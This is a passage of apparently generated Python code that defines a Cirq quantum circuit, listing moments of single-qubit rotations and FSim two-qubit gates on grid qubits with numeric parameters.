-12.242421382024746).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 12.35521328439485).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -19.32248305368911).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 19.24787023629402).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -13.967003503847575).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 14.01150195840912).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 15.49043184094976).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -15.185145206688718).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * 16.244630846615102).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -16.286251816860037).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ (cirq.X**0.5).on(cirq.GridQubit(0, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(0, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 5)), (cirq.X**0.5).on(cirq.GridQubit(1, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 4)), (cirq.X**0.5).on(cirq.GridQubit(2, 5)), (cirq.Y**0.5).on(cirq.GridQubit(2, 6)), (cirq.X**0.5).on(cirq.GridQubit(2, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 8)), (cirq.Y**0.5).on(cirq.GridQubit(3, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 3)), (cirq.Y**0.5).on(cirq.GridQubit(3, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 6)), (cirq.Y**0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 3)), (cirq.Y**0.5).on(cirq.GridQubit(5, 4)), (cirq.X**0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), (cirq.X**0.5).on(cirq.GridQubit(5, 7)), (cirq.Y**0.5).on(cirq.GridQubit(6, 1)), (cirq.X**0.5).on(cirq.GridQubit(6, 2)), (cirq.Y**0.5).on(cirq.GridQubit(6, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 4)), (cirq.Y**0.5).on(cirq.GridQubit(6, 5)), (cirq.X**0.5).on(cirq.GridQubit(6, 6)), (cirq.X**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 4)), (cirq.X**0.5).on(cirq.GridQubit(7, 5)), (cirq.Y**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -8.040816222527539).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * 7.944517331211661).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -23.983870303178655).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 23.947691840749943).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * 9.52513916974456).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * -9.570527436528984).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -13.084997501357485).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 12.644483778485537).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -14.199884115730756).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * 14.23701302367147).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * -1.4576740888019104).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 1.4499714261238263).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -8.542750980814159).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 8.512493259768608).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -8.401251133882973).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 8.52245467467511).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 7.236894386212986).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -7.223381665113074).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -2.0014238777188416).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 2.057465958360948).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -6.843134633961698).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 6.916407045184491).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 3.0014003009778842).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -2.8671730694242803).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * -10.176126243969842).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 10.134682918719976).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -12.347924259148533).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 12.372739915233888).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -13.554795435376587).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 13.646281937389634).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -7.248360514830936).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * 7.1642416454689135).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.545844435173598, phi=0.5163254336997252).on( cirq.GridQubit(1, 4), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5033136051987404, phi=0.5501439149572028).on( cirq.GridQubit(1, 6), cirq.GridQubit(1, 7)), cirq.FSimGate(theta=1.5930079664614663, phi=0.5355369376884288).on( cirq.GridQubit(2, 4), cirq.GridQubit(2, 5)), cirq.FSimGate(theta=1.59182423935832, phi=-5.773664463980115).on( cirq.GridQubit(2, 6), cirq.GridQubit(2, 7)), cirq.FSimGate(theta=1.5886126292316385, phi=0.4838919055156303).on( cirq.GridQubit(3, 2), cirq.GridQubit(3, 3)), cirq.FSimGate(theta=1.5286450573669954, phi=0.5113953905811602).on( cirq.GridQubit(3, 6), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.565622495548066, phi=0.5127256481964074).on( cirq.GridQubit(4, 2), cirq.GridQubit(4, 3)), cirq.FSimGate(theta=1.5289739216684795, phi=0.5055240639761313).on( cirq.GridQubit(4, 4), cirq.GridQubit(4, 5)), cirq.FSimGate(theta=1.5384796865621224, phi=0.5293381306162406).on( cirq.GridQubit(4, 6), cirq.GridQubit(4, 7)), cirq.FSimGate(theta=1.4727562833004122, phi=0.4552443293379814).on( cirq.GridQubit(5, 2), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5346175385256955, phi=0.5131039467233695).on( cirq.GridQubit(5, 4), cirq.GridQubit(5, 5)), cirq.FSimGate(theta=1.558221035096814, phi=0.4293113178636455).on( cirq.GridQubit(5, 6), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.5169062231051558, phi=0.46319906116805815).on( cirq.GridQubit(6, 2), cirq.GridQubit(6, 3)), cirq.FSimGate(theta=1.5705414623224259, phi=0.4791699064049766).on( cirq.GridQubit(6, 4), cirq.GridQubit(6, 5)), cirq.FSimGate(theta=1.5516764540193888, phi=0.505545707839895).on( cirq.GridQubit(7, 2), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.5699606675525557, phi=0.48292170263262457).on( cirq.GridQubit(7, 4), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 8.953042465034816).on(cirq.GridQubit(1, 4)), cirq.rz(np.pi * -9.049341356350693).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 23.28431055044745).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -23.320489012876163).on(cirq.GridQubit(1, 7)), cirq.rz(np.pi * -9.054070555108892).on(cirq.GridQubit(2, 4)), cirq.rz(np.pi * 9.008682288324469).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 13.750356038389338).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -14.190869761261286).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 13.071414269893877).on(cirq.GridQubit(3, 2)), cirq.rz(np.pi * -13.034285361953161).on(cirq.GridQubit(3, 3)), cirq.rz(np.pi * 2.0599079899133517).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -2.067610652591436).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 8.780337110122234).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -8.810594831167785).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 8.199075778124648).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -8.07787223733251).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -9.025823706766039).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 9.039336427865951).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * 2.570829500938612).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -2.5147874202965053).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 6.561341949396702).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -6.48806953817391).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -3.1851453827247447).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 3.3193726142783486).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 10.239062711844038).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -10.280506037093904).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 14.161779067835406).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -14.136963411750049).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 13.413311792027148).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * -13.3218252900141).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 7.960694186099931).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * -8.044813055461953).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ (cirq.Y**0.5).on(cirq.GridQubit(0, 5)), (cirq.Y**0.5).on(cirq.GridQubit(0, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 4)), (cirq.Y**0.5).on(cirq.GridQubit(1, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 6)), (cirq.Y**0.5).on(cirq.GridQubit(1, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 4)), (cirq.Y**0.5).on(cirq.GridQubit(2, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 6)), (cirq.Y**0.5).on(cirq.GridQubit(2, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 8)), (cirq.X**0.5).on(cirq.GridQubit(3, 2)), (cirq.X**0.5).on(cirq.GridQubit(3, 3)), (cirq.X**0.5).on(cirq.GridQubit(3, 5)), (cirq.X**0.5).on(cirq.GridQubit(3, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 7)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 8)), (cirq.X**0.5).on(cirq.GridQubit(4, 1)), (cirq.Y**0.5).on(cirq.GridQubit(4, 2)), (cirq.X**0.5).on(cirq.GridQubit(4, 3)), (cirq.X**0.5).on(cirq.GridQubit(4, 4)), (cirq.Y**0.5).on(cirq.GridQubit(4, 5)), (cirq.X**0.5).on(cirq.GridQubit(4, 6)), (cirq.X**0.5).on(cirq.GridQubit(4, 7)), (cirq.X**0.5).on(cirq.GridQubit(5, 1)), (cirq.X**0.5).on(cirq.GridQubit(5, 2)), (cirq.Y**0.5).on(cirq.GridQubit(5, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 6)), (cirq.Y**0.5).on(cirq.GridQubit(5, 7)), (cirq.X**0.5).on(cirq.GridQubit(6, 1)), (cirq.Y**0.5).on(cirq.GridQubit(6, 2)), (cirq.X**0.5).on(cirq.GridQubit(6, 3)), (cirq.Y**0.5).on(cirq.GridQubit(6, 4)), (cirq.X**0.5).on(cirq.GridQubit(6, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 2)), (cirq.X**0.5).on(cirq.GridQubit(7, 3)), (cirq.Y**0.5).on(cirq.GridQubit(7, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -9.713975624866094).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 9.760958427369838).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -30.29986888404229).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 30.302497289344824).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -30.054485552499738).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 30.034988862096366).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 19.050366769065057).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * -19.343232369531343).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * -26.08870806725985).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * 26.13388826789855).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * 15.787288476134503).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -15.762287607594697).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -24.12235236667589).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 24.164090864144143).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 11.90395452297206).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * -11.950266520580142).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * -23.906047663366408).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 23.945335880513902).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -12.64994198965531).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * 12.670825603456805).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * 5.221137480344522).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -5.118027941327464).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * 9.263573798570924).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * -9.55041239213535).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 8.765227495500554).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * -9.048084333301423).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * 13.422682742974219).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -13.34768684100077).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -28.058582817569).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * 28.139782783273418).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * 7.346307418341885).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * -7.447034178043343).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.5454967174552687, phi=0.5074540278986153).on( cirq.GridQubit(0, 5), cirq.GridQubit(0, 6)), cirq.FSimGate(theta=1.5233234922971755, phi=0.6681144400379464).on( cirq.GridQubit(1, 5), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5644541080112795, phi=0.5439498075085039).on( cirq.GridQubit(2, 5), cirq.GridQubit(2, 6)), cirq.FSimGate(theta=1.5866139110090092, phi=0.5693597810559818).on( cirq.GridQubit(2, 7), cirq.GridQubit(2, 8)), cirq.FSimGate(theta=1.541977006124425, phi=0.6073798124875975).on( cirq.GridQubit(3, 5), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5573072833358306, phi=0.5415514987622351).on( cirq.GridQubit(3, 7), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.5345751514593928, phi=0.472462117170605).on( cirq.GridQubit(4, 1), cirq.GridQubit(4, 2)), cirq.FSimGate(theta=1.5138652502397498, phi=0.47710618607286504).on( cirq.GridQubit(4, 3), cirq.GridQubit(4, 4)), cirq.FSimGate(theta=1.5849169442855044, phi=0.54346233613361).on( cirq.GridQubit(4, 5), cirq.GridQubit(4, 6)), cirq.FSimGate(theta=1.4838884067961586, phi=0.5070681071136852).on( cirq.GridQubit(5, 1), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.5398075246432927, phi=0.5174515645943538).on( cirq.GridQubit(5, 3), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.4593314109380113, phi=0.5230636172671492).on( cirq.GridQubit(5, 5), cirq.GridQubit(5, 6)), cirq.FSimGate(theta=1.4902099797510393, phi=0.4552057582549894).on( cirq.GridQubit(6, 1), cirq.GridQubit(6, 2)), cirq.FSimGate(theta=1.5376836849431186, phi=0.46265685930712236).on( cirq.GridQubit(6, 3), cirq.GridQubit(6, 4)), cirq.FSimGate(theta=1.555185434982808, phi=0.6056351386305033).on( cirq.GridQubit(6, 5), cirq.GridQubit(6, 6)), cirq.FSimGate(theta=1.4749003996237158, phi=0.4353609222411594).on( cirq.GridQubit(7, 3), cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 9.325287511969192).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -9.278304709465448).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 30.657856052586013).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -30.65522764728348).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * 30.087139057028068).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * -30.106635747431437).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * -18.435776080470458).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 18.142910480004172).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 26.656199817881895).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -26.611019617243198).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -15.602152260365296).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * 15.627153128905102).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * 23.32004504470358).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * -23.27830654723533).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * -12.422336273583753).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 12.376024275975672).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 24.032508849527318).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * -23.993220632379824).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * 11.745064422304269).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -11.724180808502775).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -5.991658529535789).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * 6.094768068552847).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -9.293307215154037).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 9.006468621589612).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * -7.056913502275617).on(cirq.GridQubit(6, 1)), cirq.rz(np.pi * 6.774056664474749).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -13.45823318122632).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * 13.53322908319977).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * 28.931540837300908).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -28.850340871596494).on(cirq.GridQubit(6, 6)), cirq.rz(np.pi * -7.785583222537938).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 7.68485646283648).on(cirq.GridQubit(7, 4)), ]), cirq.Moment(operations=[ (cirq.X**0.5).on(cirq.GridQubit(0, 5)), (cirq.X**0.5).on(cirq.GridQubit(0, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(1, 5)), (cirq.X**0.5).on(cirq.GridQubit(1, 6)), (cirq.X**0.5).on(cirq.GridQubit(1, 7)), (cirq.X**0.5).on(cirq.GridQubit(2, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 5)), (cirq.X**0.5).on(cirq.GridQubit(2, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(2, 7)), (cirq.Y**0.5).on(cirq.GridQubit(2, 8)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(3, 6)), (cirq.X**0.5).on(cirq.GridQubit(3, 7)), (cirq.Y**0.5).on(cirq.GridQubit(3, 8)), (cirq.Y**0.5).on(cirq.GridQubit(4, 1)), (cirq.X**0.5).on(cirq.GridQubit(4, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 3)), (cirq.Y**0.5).on(cirq.GridQubit(4, 4)), (cirq.X**0.5).on(cirq.GridQubit(4, 5)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(4, 7)), (cirq.Y**0.5).on(cirq.GridQubit(5, 1)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 2)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 3)), (cirq.X**0.5).on(cirq.GridQubit(5, 4)), (cirq.Y**0.5).on(cirq.GridQubit(5, 5)), (cirq.X**0.5).on(cirq.GridQubit(5, 6)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(5, 7)), (cirq.Y**0.5).on(cirq.GridQubit(6, 1)), (cirq.X**0.5).on(cirq.GridQubit(6, 2)), (cirq.Y**0.5).on(cirq.GridQubit(6, 3)), (cirq.X**0.5).on(cirq.GridQubit(6, 4)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(6, 5)), (cirq.X**0.5).on(cirq.GridQubit(6, 6)), (cirq.Y**0.5).on(cirq.GridQubit(7, 2)), (cirq.Y**0.5).on(cirq.GridQubit(7, 3)), cirq.PhasedXPowGate(phase_exponent=0.25, exponent=0.5).on(cirq.GridQubit(7, 4)), (cirq.Y**0.5).on(cirq.GridQubit(7, 5)), (cirq.X**0.5).on(cirq.GridQubit(8, 3)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * 13.22438542655545).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * -13.26338059547089).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * -9.187380074002728).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * 8.950523606048595).on(cirq.GridQubit(1, 6)), cirq.rz(np.pi * -25.436295096608994).on(cirq.GridQubit(2, 5)), cirq.rz(np.pi * 25.43183342244327).on(cirq.GridQubit(3, 5)), cirq.rz(np.pi * -21.351868774756507).on(cirq.GridQubit(2, 6)), cirq.rz(np.pi * 21.24115658410936).on(cirq.GridQubit(3, 6)), cirq.rz(np.pi * -6.643807240413623).on(cirq.GridQubit(2, 7)), cirq.rz(np.pi * 6.598519238690134).on(cirq.GridQubit(3, 7)), cirq.rz(np.pi * -9.269612643757092).on(cirq.GridQubit(2, 8)), cirq.rz(np.pi * 9.27565340313404).on(cirq.GridQubit(3, 8)), cirq.rz(np.pi * -33.75939269455927).on(cirq.GridQubit(4, 1)), cirq.rz(np.pi * 33.74638977635295).on(cirq.GridQubit(5, 1)), cirq.rz(np.pi * -21.096932498710586).on(cirq.GridQubit(4, 2)), cirq.rz(np.pi * 21.084221422935954).on(cirq.GridQubit(5, 2)), cirq.rz(np.pi * -13.046692838556257).on(cirq.GridQubit(4, 3)), cirq.rz(np.pi * 13.107006443219033).on(cirq.GridQubit(5, 3)), cirq.rz(np.pi * -20.486755870544844).on(cirq.GridQubit(4, 4)), cirq.rz(np.pi * 20.51325689904871).on(cirq.GridQubit(5, 4)), cirq.rz(np.pi * -19.82814477311278).on(cirq.GridQubit(4, 5)), cirq.rz(np.pi * 19.838469153514826).on(cirq.GridQubit(5, 5)), cirq.rz(np.pi * 17.687652291347487).on(cirq.GridQubit(4, 6)), cirq.rz(np.pi * -17.230577602838448).on(cirq.GridQubit(5, 6)), cirq.rz(np.pi * 12.257439946178984).on(cirq.GridQubit(4, 7)), cirq.rz(np.pi * -12.296836490965301).on(cirq.GridQubit(5, 7)), cirq.rz(np.pi * 27.146146626922736).on(cirq.GridQubit(6, 2)), cirq.rz(np.pi * -27.128766026200324).on(cirq.GridQubit(7, 2)), cirq.rz(np.pi * 23.46087327851529).on(cirq.GridQubit(6, 3)), cirq.rz(np.pi * -23.443378195920936).on(cirq.GridQubit(7, 3)), cirq.rz(np.pi * 17.157142369360066).on(cirq.GridQubit(6, 4)), cirq.rz(np.pi * -17.33618210685809).on(cirq.GridQubit(7, 4)), cirq.rz(np.pi * 22.592178494472112).on(cirq.GridQubit(6, 5)), cirq.rz(np.pi * -22.671525609076465).on(cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.FSimGate(theta=1.4937034321050129, phi=0.5388459463555662).on( cirq.GridQubit(0, 5), cirq.GridQubit(1, 5)), cirq.FSimGate(theta=1.5015413274420961, phi=0.51076415920643).on( cirq.GridQubit(0, 6), cirq.GridQubit(1, 6)), cirq.FSimGate(theta=1.5588791081427968, phi=0.559649620487243).on( cirq.GridQubit(2, 5), cirq.GridQubit(3, 5)), cirq.FSimGate(theta=1.5907035825834708, phi=0.5678223287662552).on( cirq.GridQubit(2, 6), cirq.GridQubit(3, 6)), cirq.FSimGate(theta=1.5296321276792553, phi=0.537761951313038).on( cirq.GridQubit(2, 7), cirq.GridQubit(3, 7)), cirq.FSimGate(theta=1.619276265426104, phi=0.48310297196088736).on( cirq.GridQubit(2, 8), cirq.GridQubit(3, 8)), cirq.FSimGate(theta=1.6116663075637374, phi=0.5343172366969327).on( cirq.GridQubit(4, 1), cirq.GridQubit(5, 1)), cirq.FSimGate(theta=1.5306030283605572, phi=0.5257102080843467).on( cirq.GridQubit(4, 2), cirq.GridQubit(5, 2)), cirq.FSimGate(theta=1.589821065740506, phi=0.5045391214115686).on( cirq.GridQubit(4, 3), cirq.GridQubit(5, 3)), cirq.FSimGate(theta=1.5472406430590444, phi=0.5216932173558055).on( cirq.GridQubit(4, 4), cirq.GridQubit(5, 4)), cirq.FSimGate(theta=1.5124128267683938, phi=0.5133142626030278).on( cirq.GridQubit(4, 5), cirq.GridQubit(5, 5)), cirq.FSimGate(theta=1.5707871303628709, phi=0.5176678491729374).on( cirq.GridQubit(4, 6), cirq.GridQubit(5, 6)), cirq.FSimGate(theta=1.5337916352034444, phi=0.5123546847230711).on( cirq.GridQubit(4, 7), cirq.GridQubit(5, 7)), cirq.FSimGate(theta=1.596346344028619, phi=0.5104319949477776).on( cirq.GridQubit(6, 2), cirq.GridQubit(7, 2)), cirq.FSimGate(theta=1.53597466118183, phi=0.5584919013659856).on( cirq.GridQubit(6, 3), cirq.GridQubit(7, 3)), cirq.FSimGate(theta=1.385350861888917, phi=0.5757363921651084).on( cirq.GridQubit(6, 4), cirq.GridQubit(7, 4)), cirq.FSimGate(theta=1.614843449053755, phi=0.5542252229839564).on( cirq.GridQubit(6, 5), cirq.GridQubit(7, 5)), ]), cirq.Moment(operations=[ cirq.rz(np.pi * -14.088246745659802).on(cirq.GridQubit(0, 5)), cirq.rz(np.pi * 14.049251576744364).on(cirq.GridQubit(1, 5)), cirq.rz(np.pi * 9.687590676347119).on(cirq.GridQubit(0, 6)), cirq.rz(np.pi * -9.924447144301253).on(cirq.GridQubit(1, 6)), 